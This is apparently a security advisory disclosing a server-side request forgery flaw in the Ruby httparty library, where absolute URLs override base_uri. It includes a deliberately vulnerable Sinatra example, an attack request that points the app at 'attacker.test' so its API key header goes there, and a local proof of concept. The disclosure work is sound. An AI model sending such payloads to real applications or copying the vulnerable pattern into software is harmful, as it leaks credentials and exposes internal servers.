GHSA-hm5p-x4rq-38w4

## Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

## Details

When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

Consider the following example of a web application:

```rb require 'sinatra' require 'httparty'

class RepositoryClient include HTTParty base_uri 'http://exmaple.test/api/v1/repositories/' headers 'X-API-KEY' => '1234567890' end

post '/issue' do request_body = JSON.parse(request.body.read) RepositoryClient.get(request_body['repository_id']).body # do something json message: 'OK' end ```

Now, suppose an attacker sends a request like this:

``` POST /issue HTTP/1.1 Host: localhost:10000 Content-Type: application/json

{ "repository_id": "http://attacker.test", "title": "test" } ```

In this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.

A similar problem was reported and fixed in the HTTP client library axios in the past: <https://github.com/axios/axios/issues/6463>

Also, Python's `urljoin` function has documented a warning about similar behavior: <https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>

## PoC

Follow these steps to reproduce the issue:

1. Set up two simple HTTP servers.

```bash mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & ```

2. Create a script (for example, `main.rb`):

```rb require 'httparty'

class Client include HTTParty base_uri 'http://localhost:10001' end

data = Client.get('http://localhost:10002').body puts data ```

3. Run the script:

```bash $ ruby main.rb this is server2 ```

Although `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.

## Impact

- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts. - SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running. - Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.